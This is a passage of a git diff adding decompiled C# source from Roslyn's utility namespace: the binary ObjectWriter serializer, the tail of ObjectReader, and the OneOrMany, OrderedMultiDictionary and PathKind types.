ObjectWriter.TypeCode.UInt64 => ReadUInt64ArrayElements(CreateArray(length)), + ObjectWriter.TypeCode.Float4 => ReadFloat4ArrayElements(CreateArray(length)), + ObjectWriter.TypeCode.Float8 => ReadFloat8ArrayElements(CreateArray(length)), + ObjectWriter.TypeCode.Decimal => ReadDecimalArrayElements(CreateArray(length)), + _ => throw ExceptionUtilities.UnexpectedValue(kind), + }; + } + + private bool[] ReadBooleanArrayElements(bool[] array) + { + int num = BitVector.WordsRequired(array.Length); + int num2 = 0; + for (int i = 0; i < num; i++) + { + ulong word = _reader.ReadUInt64(); + for (int j = 0; j < 64; j++) + { + if (num2 >= array.Length) + { + return array; + } + array[num2++] = BitVector.IsTrue(word, j); + } + } + return array; + } + + private static T[] CreateArray(int length) + { + if (length == 0) + { + return Array.Empty(); + } + return new T[length]; + } + + private string[] ReadStringArrayElements(string[] array) + { + for (int i = 0; i < array.Length; i++) + { + array[i] = ReadStringValue(); + } + return array; + } + + private sbyte[] ReadInt8ArrayElements(sbyte[] array) + { + for (int i = 0; i < array.Length; i++) + { + array[i] = _reader.ReadSByte(); + } + return array; + } + + private short[] ReadInt16ArrayElements(short[] array) + { + for (int i = 0; i < array.Length; i++) + { + array[i] = _reader.ReadInt16(); + } + return array; + } + + private int[] ReadInt32ArrayElements(int[] array) + { + for (int i = 0; i < array.Length; i++) + { + array[i] = _reader.ReadInt32(); + } + return array; + } + + private long[] ReadInt64ArrayElements(long[] array) + { + for (int i = 0; i < array.Length; i++) + { + array[i] = _reader.ReadInt64(); + } + return array; + } + + private ushort[] ReadUInt16ArrayElements(ushort[] array) + { + for (int i = 0; i < array.Length; i++) + { + array[i] = _reader.ReadUInt16(); + } + return array; + } + + private uint[] ReadUInt32ArrayElements(uint[] array) + { + for (int i = 0; i < array.Length; i++) + { + array[i] = _reader.ReadUInt32(); + } + return array; + } + + private ulong[] ReadUInt64ArrayElements(ulong[] array) + { + for (int i = 0; i < array.Length; i++) + { + array[i] = _reader.ReadUInt64(); + } + return array; + } + + private decimal[] ReadDecimalArrayElements(decimal[] array) + { + for (int i = 0; i < array.Length; i++) + { + array[i] = _reader.ReadDecimal(); + } + return array; + } + + private float[] ReadFloat4ArrayElements(float[] array) + { + for (int i = 0; i < array.Length; i++) + { + array[i] = _reader.ReadSingle(); + } + return array; + } + + private double[] ReadFloat8ArrayElements(double[] array) + { + for (int i = 0; i < array.Length; i++) + { + array[i] = _reader.ReadDouble(); + } + return array; + } + + public Type ReadType() + { + _reader.ReadByte(); + return Type.GetType(ReadString()); + } + + private Type ReadTypeAfterTag() + { + return _binderSnapshot.GetTypeFromId(ReadInt32()); + } + + private object ReadObject() + { + int nextObjectId = _objectReferenceMap.GetNextObjectId(); + IObjectWritable objectWritable = _binderSnapshot.GetTypeReaderFromId(ReadInt32())(this); + if (objectWritable.ShouldReuseInSerialization) + { + _objectReferenceMap.AddValue(nextObjectId, objectWritable); + } + return objectWritable; + } + + private static Exception DeserializationReadIncorrectNumberOfValuesException(string typeName) + { + throw new InvalidOperationException(string.Format(CodeAnalysisResources.Deserialization_reader_for_0_read_incorrect_number_of_values, typeName)); + } + + private static Exception NoSerializationTypeException(string typeName) + { + return new InvalidOperationException(string.Format(CodeAnalysisResources.The_type_0_is_not_understood_by_the_serialization_binder, typeName)); + } + + private static Exception NoSerializationReaderException(string typeName) + { + return new InvalidOperationException(string.Format(CodeAnalysisResources.Cannot_serialize_type_0, typeName)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ObjectWriter.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ObjectWriter.cs new file mode 100644 index 0000000..46dfadb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ObjectWriter.cs @@ -0,0 +1,955 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Roslyn.Utilities; + +internal sealed class ObjectWriter : IDisposable +{ + [StructLayout(LayoutKind.Explicit)] + internal struct GuidAccessor + { + [FieldOffset(0)] + public Guid Guid; + + [FieldOffset(0)] + public long Low64; + + [FieldOffset(8)] + public long High64; + } + + private struct WriterReferenceMap(bool valueEquality) + { + private readonly SegmentedDictionary _valueToIdMap = GetDictionaryPool(valueEquality).Allocate(); + + private readonly bool _valueEquality = valueEquality; + + private int _nextId = 0; + + private static readonly ObjectPool> s_referenceDictionaryPool = new ObjectPool>(() => new SegmentedDictionary(128, ReferenceEqualityComparer.Instance)); + + private static readonly ObjectPool> s_valueDictionaryPool = new ObjectPool>(() => new SegmentedDictionary(128)); + + private static ObjectPool> GetDictionaryPool(bool valueEquality) + { + if (!valueEquality) + { + return s_referenceDictionaryPool; + } + return s_valueDictionaryPool; + } + + public void Dispose() + { + ObjectPool> dictionaryPool = GetDictionaryPool(_valueEquality); + if (_valueToIdMap.Count <= 1024) + { + _valueToIdMap.Clear(); + dictionaryPool.Free(_valueToIdMap); + } + } + + public bool TryGetReferenceId(object value, out int referenceId) + { + return _valueToIdMap.TryGetValue(value, out referenceId); + } + + public void Add(object value, bool isReusable) + { + int value2 = _nextId++; + if (isReusable) + { + _valueToIdMap.Add(value, value2); + } + } + } + + internal enum TypeCode : byte + { + Null = 0, + Type = 1, + Object = 2, + ObjectRef_1Byte = 3, + ObjectRef_2Bytes = 4, + ObjectRef_4Bytes = 5, + StringUtf8 = 6, + StringUtf16 = 7, + StringRef_1Byte = 8, + StringRef_2Bytes = 9, + StringRef_4Bytes = 10, + Boolean_True = 11, + Boolean_False = 12, + Char = 13, + Int8 = 14, + Int16 = 15, + Int32 = 16, + Int32_1Byte = 17, + Int32_2Bytes = 18, + Int32_0 = 19, + Int32_1 = 20, + Int32_2 = 21, + Int32_3 = 22, + Int32_4 = 23, + Int32_5 = 24, + Int32_6 = 25, + Int32_7 = 26, + Int32_8 = 27, + Int32_9 = 28, + Int32_10 = 29, + Int64 = 30, + UInt8 = 31, + UInt16 = 32, + UInt32 = 33, + UInt32_1Byte = 34, + UInt32_2Bytes = 35, + UInt32_0 = 36, + UInt32_1 = 37, + UInt32_2 = 38, + UInt32_3 = 39, + UInt32_4 = 40, + UInt32_5 = 41, + UInt32_6 = 42, + UInt32_7 = 43, + UInt32_8 = 44, + UInt32_9 = 45, + UInt32_10 = 46, + UInt64 = 47, + Float4 = 48, + Float8 = 49, + Decimal = 50, + DateTime = 51, + Array = 52, + Array_0 = 53, + Array_1 = 54, + Array_2 = 55, + Array_3 = 56, + BooleanType = 57, + StringType = 58, + EncodingName = 59, + FirstWellKnownTextEncoding = 60, + LastWellKnownTextEncoding = 69, + EncodingCodePage = 70, + Last = 71 + } + + private readonly BinaryWriter _writer; + + private readonly CancellationToken _cancellationToken; + + private WriterReferenceMap _objectReferenceMap; + + private WriterReferenceMap _stringReferenceMap; + + private readonly ObjectBinderSnapshot _binderSnapshot; + + private int _recursionDepth; + + internal const int MaxRecursionDepth = 50; + + internal static readonly Dictionary s_typeMap; + + internal static readonly ImmutableArray s_reverseTypeMap; + + internal const byte ByteMarkerMask = 192; + + internal const byte Byte1Marker = 0; + + internal const byte Byte2Marker = 64; + + internal const byte Byte4Marker = 128; + + public ObjectWriter(Stream stream, bool leaveOpen = false, CancellationToken cancellationToken = default(CancellationToken)) + { + _writer = new BinaryWriter(stream, Encoding.UTF8, leaveOpen); + _objectReferenceMap = new WriterReferenceMap(valueEquality: false); + _stringReferenceMap = new WriterReferenceMap(valueEquality: true); + _cancellationToken = cancellationToken; + _binderSnapshot = ObjectBinder.GetSnapshot(); + WriteVersion(); + } + + private void WriteVersion() + { + _writer.Write((byte)170); + _writer.Write((byte)12); + } + + public void Dispose() + { + _writer.Dispose(); + _objectReferenceMap.Dispose(); + _stringReferenceMap.Dispose(); + _recursionDepth = 0; + } + + public void WriteBoolean(bool value) + { + _writer.Write(value); + } + + public void WriteByte(byte value) + { + _writer.Write(value); + } + + public void WriteChar(char ch) + { + _writer.Write((ushort)ch); + } + + public void WriteDecimal(decimal value) + { + _writer.Write(value); + } + + public void WriteDouble(double value) + { + _writer.Write(value); + } + + public void WriteSingle(float value) + { + _writer.Write(value); + } + + public void WriteInt32(int value) + { + _writer.Write(value); + } + + public void WriteInt64(long value) + { + _writer.Write(value); + } + + public void WriteSByte(sbyte value) + { + _writer.Write(value); + } + + public void WriteInt16(short value) + { + _writer.Write(value); + } + + public void WriteUInt32(uint value) + { + _writer.Write(value); + } + + public void WriteUInt64(ulong value) + { + _writer.Write(value); + } + + public void WriteUInt16(ushort value) + { + _writer.Write(value); + } + + public void WriteString(string? value) + { + WriteStringValue(value); + } + + public void WriteGuid(Guid guid) + { + GuidAccessor guidAccessor = new GuidAccessor + { + Guid = guid + }; + WriteInt64(guidAccessor.Low64); + WriteInt64(guidAccessor.High64); + } + + public void WriteValue(object? value) + { + if (value == null) + { + _writer.Write((byte)0); + return; + } + Type type = value.GetType(); + if (type.GetTypeInfo().IsPrimitive) + { + if (value.GetType() == typeof(int)) + { + WriteEncodedInt32((int)value); + return; + } + if (value.GetType() == typeof(double)) + { + _writer.Write((byte)49); + _writer.Write((double)value); + return; + } + if (value.GetType() == typeof(bool)) + { + _writer.Write((byte)(((bool)value) ? 11 : 12)); + return; + } + if (value.GetType() == typeof(char)) + { + _writer.Write((byte)13); + _writer.Write((ushort)(char)value); + return; + } + if (value.GetType() == typeof(byte)) + { + _writer.Write((byte)31); + _writer.Write((byte)value); + return; + } + if (value.GetType() == typeof(short)) + { + _writer.Write((byte)15); + _writer.Write((short)value); + return; + } + if (value.GetType() == typeof(long)) + { + _writer.Write((byte)30); + _writer.Write((long)value); + return; + } + if (value.GetType() == typeof(sbyte)) + { + _writer.Write((byte)14); + _writer.Write((sbyte)value); + return; + } + if (value.GetType() == typeof(float)) + { + _writer.Write((byte)48); + _writer.Write((float)value); + return; + } + if (value.GetType() == typeof(ushort)) + { + _writer.Write((byte)32); + _writer.Write((ushort)value); + return; + } + if (value.GetType() == typeof(uint)) + { + WriteEncodedUInt32((uint)value); + return; + } + if (!(value.GetType() == typeof(ulong))) + { + throw ExceptionUtilities.UnexpectedValue(value.GetType()); + } + _writer.Write((byte)47); + _writer.Write((ulong)value); + } + else if (value.GetType() == typeof(decimal)) + { + _writer.Write((byte)50); + _writer.Write((decimal)value); + } + else if (value.GetType() == typeof(DateTime)) + { + _writer.Write((byte)51); + _writer.Write(((DateTime)value).ToBinary()); + } + else if (value.GetType() == typeof(string)) + { + WriteStringValue((string)value); + } + else if (type.IsArray) + { + Array array = (Array)value; + if (array.Rank > 1) + { + throw new InvalidOperationException(CodeAnalysisResources.Arrays_with_more_than_one_dimension_cannot_be_serialized); + } + WriteArray(array); + } + else if (value is Encoding encoding) + { + WriteEncoding(encoding); + } + else + { + WriteObject(value, null); + } + } + + public void WriteValue(ReadOnlySpan span) + { + int length = span.Length; + switch (length) + { + case 0: + _writer.Write((byte)53); + break; + case 1: + _writer.Write((byte)54); + break; + case 2: + _writer.Write((byte)55); + break; + case 3: + _writer.Write((byte)56); + break; + default: + _writer.Write((byte)52); + WriteCompressedUInt((uint)length); + break; + } + Type typeFromHandle = typeof(byte); + WritePrimitiveType(typeFromHandle, TypeCode.UInt8); + byte[] array = new byte[Math.Min(length, 8192)]; + for (int i = 0; i < length; i += array.Length) + { + int num = Math.Min(array.Length, length - i); + span.Slice(i, num).CopyTo(array.AsSpan()); + _writer.Write(array, 0, num); + } + } + + public void WriteValue(IObjectWritable? value) + { + if (value == null) + { + _writer.Write((byte)0); + } + else + { + WriteObject(value, value); + } + } + + private void WriteEncodedInt32(int v) + { + if (v >= 0 && v <= 10) + { + _writer.Write((byte)(19 + v)); + } + else if (v >= 0 && v < 255) + { + _writer.Write((byte)17); + _writer.Write((byte)v); + } + else if (v >= 0 && v < 65535) + { + _writer.Write((byte)18); + _writer.Write((ushort)v); + } + else + { + _writer.Write((byte)16); + _writer.Write(v); + } + } + + private void WriteEncodedUInt32(uint v) + { + if (v >= 0 && v <= 10) + { + _writer.Write((byte)(36 + v)); + } + else if (v >= 0 && v < 255) + { + _writer.Write((byte)34); + _writer.Write((byte)v); + } + else if (v >= 0 && v < 65535) + { + _writer.Write((byte)35); + _writer.Write((ushort)v); + } + else + { + _writer.Write((byte)33); + _writer.Write(v); + } + } + + internal void WriteCompressedUInt(uint value) + { + if (value <= 63) + { + _writer.Write((byte)value); + return; + } + if (value <= 16383) + { + byte value2 = (byte)(((value >> 8) & 0xFF) | 0x40); + byte value3 = (byte)(value & 0xFF); + _writer.Write(value2); + _writer.Write(value3); + return; + } + if (value <= 1073741823) + { + byte value4 = (byte)(((value >> 24) & 0xFF) | 0x80); + byte value5 = (byte)((value >> 16) & 0xFF); + byte value6 = (byte)((value >> 8) & 0xFF); + byte value7 = (byte)(value & 0xFF); + _writer.Write(value4); + _writer.Write(value5); + _writer.Write(value6); + _writer.Write(value7); + return; + } + throw new ArgumentException(CodeAnalysisResources.Value_too_large_to_be_represented_as_a_30_bit_unsigned_integer); + } + + private unsafe void WriteStringValue(string? value) + { + if (value == null) + { + _writer.Write((byte)0); + return; + } + if (_stringReferenceMap.TryGetReferenceId(value, out var referenceId)) + { + if (referenceId <= 255) + { + _writer.Write((byte)8); + _writer.Write((byte)referenceId); + } + else if (referenceId <= 65535) + { + _writer.Write((byte)9); + _writer.Write((ushort)referenceId); + } + else + { + _writer.Write((byte)10); + _writer.Write(referenceId); + } + return; + } + _stringReferenceMap.Add(value, isReusable: true); + if (value.IsValidUnicodeString()) + { + _writer.Write((byte)6); + _writer.Write(value); + return; + } + _writer.Write((byte)7); + byte[] array = new byte[value.Length * 2]; + fixed (char* ptr = value) + { + Marshal.Copy((IntPtr)ptr, array, 0, array.Length); + } + WriteCompressedUInt((uint)value.Length); + _writer.Write(array); + } + + private void WriteArray(Array array) + { + int length = array.GetLength(0); + switch (length) + { + case 0: + _writer.Write((byte)53); + break; + case 1: + _writer.Write((byte)54); + break; + case 2: + _writer.Write((byte)55); + break; + case 3: + _writer.Write((byte)56); + break; + default: + _writer.Write((byte)52); + WriteCompressedUInt((uint)length); + break; + } + Type elementType = array.GetType().GetElementType(); + if (s_typeMap.TryGetValue(elementType, out var value)) + { + WritePrimitiveType(elementType, value); + WritePrimitiveTypeArrayElements(elementType, value, array); + return; + } + WriteKnownType(elementType); + _ = _recursionDepth; + _recursionDepth++; + if (_recursionDepth % 50 == 0) + { + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + SerializationThreadPool.RunOnBackgroundThreadAsync(delegate(object? a) + { + WriteArrayValues((Array)a); + return (object?)null; + }, array).GetAwaiter().GetResult(); + } + else + { + WriteArrayValues(array); + } + _recursionDepth--; + } + + private void WriteArrayValues(Array array) + { + for (int i = 0; i < array.Length; i++) + { + WriteValue(array.GetValue(i)); + } + } + + private void WritePrimitiveTypeArrayElements(Type type, TypeCode kind, Array instance) + { + if (type == typeof(byte)) + { + _writer.Write((byte[])instance); + return; + } + if (type == typeof(char)) + { + _writer.Write((char[])instance); + return; + } + if (type == typeof(string)) + { + WriteStringArrayElements((string[])instance); + return; + } + if (type == typeof(bool)) + { + WriteBooleanArrayElements((bool[])instance); + return; + } + switch (kind) + { + case TypeCode.Int8: + WriteInt8ArrayElements((sbyte[])instance); + break; + case TypeCode.Int16: + WriteInt16ArrayElements((short[])instance); + break; + case TypeCode.Int32: + WriteInt32ArrayElements((int[])instance); + break; + case TypeCode.Int64: + WriteInt64ArrayElements((long[])instance); + break; + case TypeCode.UInt16: + WriteUInt16ArrayElements((ushort[])instance); + break; + case TypeCode.UInt32: + WriteUInt32ArrayElements((uint[])instance); + break; + case TypeCode.UInt64: + WriteUInt64ArrayElements((ulong[])instance); + break; + case TypeCode.Float4: + WriteFloat4ArrayElements((float[])instance); + break; + case TypeCode.Float8: + WriteFloat8ArrayElements((double[])instance); + break; + case TypeCode.Decimal: + WriteDecimalArrayElements((decimal[])instance); + break; + default: + throw ExceptionUtilities.UnexpectedValue(kind); + } + } + + private void WriteBooleanArrayElements(bool[] array) + { + BitVector bitVector = BitVector.Create(array.Length); + for (int i = 0; i < array.Length; i++) + { + bitVector[i] = array[i]; + } + foreach (ulong item in bitVector.Words()) + { + _writer.Write(item); + } + } + + private void WriteStringArrayElements(string[] array) + { + for (int i = 0; i < array.Length; i++) + { + WriteStringValue(array[i]); + } + } + + private void WriteInt8ArrayElements(sbyte[] array) + { + for (int i = 0; i < array.Length; i++) + { + _writer.Write(array[i]); + } + } + + private void WriteInt16ArrayElements(short[] array) + { + for (int i = 0; i < array.Length; i++) + { + _writer.Write(array[i]); + } + } + + private void WriteInt32ArrayElements(int[] array) + { + for (int i = 0; i < array.Length; i++) + { + _writer.Write(array[i]); + } + } + + private void WriteInt64ArrayElements(long[] array) + { + for (int i = 0; i < array.Length; i++) + { + _writer.Write(array[i]); + } + } + + private void WriteUInt16ArrayElements(ushort[] array) + { + for (int i = 0; i < array.Length; i++) + { + _writer.Write(array[i]); + } + } + + private void WriteUInt32ArrayElements(uint[] array) + { + for (int i = 0; i < array.Length; i++) + { + _writer.Write(array[i]); + } + } + + private void WriteUInt64ArrayElements(ulong[] array) + { + for (int i = 0; i < array.Length; i++) + { + _writer.Write(array[i]); + } + } + + private void WriteDecimalArrayElements(decimal[] array) + { + for (int i = 0; i < array.Length; i++) + { + _writer.Write(array[i]); + } + } + + private void WriteFloat4ArrayElements(float[] array) + { + for (int i = 0; i < array.Length; i++) + { + _writer.Write(array[i]); + } + } + + private void WriteFloat8ArrayElements(double[] array) + { + for (int i = 0; i < array.Length; i++) + { + _writer.Write(array[i]); + } + } + + private void WritePrimitiveType(Type type, TypeCode kind) + { + _writer.Write((byte)kind); + } + + public void WriteType(Type type) + { + _writer.Write((byte)1); + WriteString(type.AssemblyQualifiedName); + } + + private void WriteKnownType(Type type) + { + _writer.Write((byte)1); + WriteInt32(_binderSnapshot.GetTypeId(type)); + } + + public void WriteEncoding(Encoding? encoding) + { + TextEncodingKind kind; + if (encoding == null) + { + WriteByte(0); + } + else if (encoding.TryGetEncodingKind(out kind)) + { + WriteByte((byte)ToTypeCode(kind)); + } + else if (encoding.CodePage > 0) + { + WriteByte(70); + WriteInt32(encoding.CodePage); + } + else + { + WriteByte(59); + WriteString(encoding.WebName); + } + } + + private void WriteObject(object instance, IObjectWritable? instanceAsWritable) + { + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (_objectReferenceMap.TryGetReferenceId(instance, out var referenceId)) + { + if (referenceId <= 255) + { + _writer.Write((byte)3); + _writer.Write((byte)referenceId); + } + else if (referenceId <= 65535) + { + _writer.Write((byte)4); + _writer.Write((ushort)referenceId); + } + else + { + _writer.Write((byte)5); + _writer.Write(referenceId); + } + return; + } + IObjectWritable objectWritable = instanceAsWritable; + if (objectWritable == null) + { + objectWritable = instance as IObjectWritable; + if (objectWritable == null) + { + throw NoSerializationWriterException(string.Format("{0} must implement {1}", instance.GetType(), "IObjectWritable")); + } + } + _ = _recursionDepth; + _recursionDepth++; + if (_recursionDepth % 50 == 0) + { + cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + SerializationThreadPool.RunOnBackgroundThreadAsync(delegate(object? obj) + { + WriteObjectWorker((IObjectWritable)obj); + return (object?)null; + }, objectWritable).GetAwaiter().GetResult(); + } + else + { + WriteObjectWorker(objectWritable); + } + _recursionDepth--; + } + + private void WriteObjectWorker(IObjectWritable writable) + { + _objectReferenceMap.Add(writable, writable.ShouldReuseInSerialization); + _writer.Write((byte)2); + WriteInt32(_binderSnapshot.GetTypeId(writable.GetType())); + writable.WriteTo(this); + } + + private static Exception NoSerializationTypeException(string typeName) + { + return new InvalidOperationException(string.Format(CodeAnalysisResources.The_type_0_is_not_understood_by_the_serialization_binder, typeName)); + } + + private static Exception NoSerializationWriterException(string typeName) + { + return new InvalidOperationException(string.Format(CodeAnalysisResources.Cannot_serialize_type_0, typeName)); + } + + static ObjectWriter() + { + s_typeMap = new Dictionary + { + { + typeof(bool), + TypeCode.BooleanType + }, + { + typeof(char), + TypeCode.Char + }, + { + typeof(string), + TypeCode.StringType + }, + { + typeof(sbyte), + TypeCode.Int8 + }, + { + typeof(short), + TypeCode.Int16 + }, + { + typeof(int), + TypeCode.Int32 + }, + { + typeof(long), + TypeCode.Int64 + }, + { + typeof(byte), + TypeCode.UInt8 + }, + { + typeof(ushort), + TypeCode.UInt16 + }, + { + typeof(uint), + TypeCode.UInt32 + }, + { + typeof(ulong), + TypeCode.UInt64 + }, + { + typeof(float), + TypeCode.Float4 + }, + { + typeof(double), + TypeCode.Float8 + }, + { + typeof(decimal), + TypeCode.Decimal + } + }; + Type[] array = new Type[71]; + foreach (KeyValuePair item in s_typeMap) + { + array[(uint)item.Value] = item.Key; + } + s_reverseTypeMap = ImmutableArray.Create(array); + } + + internal static TypeCode ToTypeCode(TextEncodingKind kind) + { + return (TypeCode)(60 + (kind - 1)); + } + + internal static TextEncodingKind ToEncodingKind(TypeCode code) + { + return (TextEncodingKind)(1 + (code - 60)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/OneOrMany.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/OneOrMany.cs new file mode 100644 index 0000000..dac1e73 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/OneOrMany.cs @@ -0,0 +1,368 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using Microsoft.CodeAnalysis; + +namespace Roslyn.Utilities; + +[DebuggerDisplay("{GetDebuggerDisplay(),nq}")] +[DebuggerTypeProxy(typeof(OneOrMany<>.DebuggerProxy))] +internal readonly struct OneOrMany +{ + internal struct Enumerator + { + private readonly OneOrMany _collection; + + private int _index; + + public T Current => _collection[_index]; + + internal Enumerator(OneOrMany collection) + { + _collection = collection; + _index = -1; + } + + public bool MoveNext() + { + _index++; + return _index < _collection.Count; + } + } + + private sealed class DebuggerProxy(OneOrMany instance) + { + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public T[] Items => instance.ToArray(); + } + + public static readonly OneOrMany Empty; + + private readonly T? _one; + + private readonly ImmutableArray _many; + + [MemberNotNullWhen(true, "_one")] + private bool HasOneItem + { + [MemberNotNullWhen(true, "_one")] + get + { + return _many.IsDefault; + } + } + + public T this[int index] + { + get + { + if (HasOneItem) + { + if (index != 0) + { + throw new IndexOutOfRangeException(); + } + return _one; + } + return _many[index]; + } + } + + public int Count + { + get + { + if (!HasOneItem) + { + return _many.Length; + } + return 1; + } + } + + public bool IsEmpty => Count == 0; + + public OneOrMany(T one) + { + _one = one; + _many = default(ImmutableArray); + } + + public OneOrMany(ImmutableArray many) + { + if (many.IsDefault) + { + throw new ArgumentNullException("many"); + } + if (many.Length == 1) + { + T one = many[0]; + _one = one; + _many = default(ImmutableArray); + } + else + { + _one = default(T); + _many = many; + } + } + + public OneOrMany Add(T item) + { + if (!HasOneItem) + { + if (!IsEmpty) + { + return OneOrMany.Create(_many.Add(item)); + } + return OneOrMany.Create(item); + } + return OneOrMany.Create(_one, item); + } + + public bool Contains(T item) + { + if (!HasOneItem) + { + return _many.Contains(item); + } + return EqualityComparer.Default.Equals(item, _one); + } + + public OneOrMany RemoveAll(T item) + { + if (HasOneItem) + { + if (!EqualityComparer.Default.Equals(item, _one)) + { + return this; + } + return Empty; + } + return OneOrMany.Create(_many.WhereAsArray((T value, T y) => !EqualityComparer.Default.Equals(value, y), item)); + } + + public OneOrMany Select(Func selector) + { + if (!HasOneItem) + { + return OneOrMany.Create(_many.SelectAsArray(selector)); + } + return OneOrMany.Create(selector(_one)); + } + + public OneOrMany Select(Func selector, TArg arg) + { + if (!HasOneItem) + { + return OneOrMany.Create(_many.SelectAsArray(selector, arg)); + } + return OneOrMany.Create(selector(_one, arg)); + } + + public T First() + { + return this[0]; + } + + public T? FirstOrDefault() + { + if (!HasOneItem) + { + return _many.FirstOrDefault(); + } + return _one; + } + + public T? FirstOrDefault(Func predicate) + { + if (HasOneItem) + { + if (!predicate(_one)) + { + return default(T); + } + return _one; + } + return _many.FirstOrDefault(predicate); + } + + public T? FirstOrDefault(Func predicate, TArg arg) + { + if (HasOneItem) + { + if (!predicate(_one, arg)) + { + return default(T); + } + return _one; + } + return _many.FirstOrDefault(predicate, arg); + } + + public static OneOrMany CastUp(OneOrMany from) where TDerived : class, T + { + if (!from.HasOneItem) + { + return new OneOrMany(ImmutableArray.CastUp(from._many)); + } + return new OneOrMany((T)(object)from._one); + } + + public bool All(Func predicate) + { + if (!HasOneItem) + { + return _many.All(predicate); + } + return predicate(_one); + } + + public bool All(Func predicate, TArg arg) + { + if (!HasOneItem) + { + return _many.All(predicate, arg); + } + return predicate(_one, arg); + } + + public bool Any() + { + return !IsEmpty; + } + + public bool Any(Func predicate) + { + if (!HasOneItem) + { + return _many.Any(predicate); + } + return predicate(_one); + } + + public bool Any(Func predicate, TArg arg) + { + if (!HasOneItem) + { + return _many.Any(predicate, arg); + } + return predicate(_one, arg); + } + + public ImmutableArray ToImmutable() + { + if (!HasOneItem) + { + return _many; + } + return ImmutableArray.Create(_one); + } + + public T[] ToArray() + { + if (!HasOneItem) + { + return _many.ToArray(); + } + return new T[1] { _one }; + } + + public bool SequenceEqual(OneOrMany other, IEqualityComparer? comparer = null) + { + if (comparer == null) + { + comparer = EqualityComparer.Default; + } + if (Count != other.Count) + { + return false; + } + if (!HasOneItem) + { + return _many.SequenceEqual(other._many, comparer); + } + return comparer.Equals(_one, other._one); + } + + public bool SequenceEqual(ImmutableArray other, IEqualityComparer? comparer = null) + { + return SequenceEqual(OneOrMany.Create(other), comparer); + } + + public bool SequenceEqual(IEnumerable other, IEqualityComparer? comparer = null) + { + if (comparer == null) + { + comparer = EqualityComparer.Default; + } + if (!HasOneItem) + { + return _many.SequenceEqual(other, comparer); + } + bool flag = true; + foreach (T item in other) + { + if (!flag || !comparer.Equals(_one, item)) + { + return false; + } + flag = false; + } + return true; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + private string GetDebuggerDisplay() + { + return "Count = " + Count; + } + + static OneOrMany() + { + Empty = new OneOrMany(ImmutableArray.Empty); + } +} +internal static class OneOrMany +{ + public static OneOrMany Create(T one) + { + return new OneOrMany(one); + } + + public static OneOrMany Create(T one, T two) + { + return new OneOrMany(ImmutableArray.Create(one, two)); + } + + public static OneOrMany OneOrNone(T? one) + { + if (one != null) + { + return new OneOrMany(one); + } + return OneOrMany.Empty; + } + + public static OneOrMany Create(ImmutableArray many) + { + return new OneOrMany(many); + } + + public static bool SequenceEqual(this ImmutableArray array, OneOrMany other, IEqualityComparer? comparer = null) + { + return Create(array).SequenceEqual(other, comparer); + } + + public static bool SequenceEqual(this IEnumerable array, OneOrMany other, IEqualityComparer? comparer = null) + { + return other.SequenceEqual(array, comparer); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/OrderedMultiDictionary.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/OrderedMultiDictionary.cs new file mode 100644 index 0000000..c830cb2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/OrderedMultiDictionary.cs @@ -0,0 +1,65 @@ +using System.Collections; +using System.Collections.Generic; + +namespace Roslyn.Utilities; + +internal sealed class OrderedMultiDictionary : IEnumerable>>, IEnumerable where K : notnull +{ + private readonly Dictionary> _dictionary; + + private readonly List _keys; + + public int Count => _dictionary.Count; + + public IEnumerable Keys => _keys; + + public SetWithInsertionOrder this[K k] + { + get + { + if (!_dictionary.TryGetValue(k, out SetWithInsertionOrder value)) + { + return new SetWithInsertionOrder(); + } + return value; + } + } + + public OrderedMultiDictionary() + { + _dictionary = new Dictionary>(); + _keys = new List(); + } + + public void Add(K k, V v) + { + if (!_dictionary.TryGetValue(k, out SetWithInsertionOrder value)) + { + _keys.Add(k); + value = new SetWithInsertionOrder(); + } + value.Add(v); + _dictionary[k] = value; + } + + public void AddRange(K k, IEnumerable values) + { + foreach (V value in values) + { + Add(k, value); + } + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + public IEnumerator>> GetEnumerator() + { + foreach (K key in _keys) + { + yield return new KeyValuePair>(key, _dictionary[key]); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/PathKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/PathKind.cs new file mode 100644 index 0000000..2983357 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/PathKind.cs @@ -0,0 +1,12 @@ +namespace Roslyn.Utilities; + +internal enum PathKind +{ + Empty, + Relative, + RelativeToCurrentDirectory, + RelativeToCurrentParent, + RelativeToCurrentRoot, + RelativeToDriveDirectory, + Absolute +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/PathUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/PathUtilities.cs new file mode 100644 index 0000000..c64cc46 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/PathUtilities.cs @@ -0,0 +1,626 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.IO; +using System.Linq; +using Microsoft.CodeAnalysis; +using 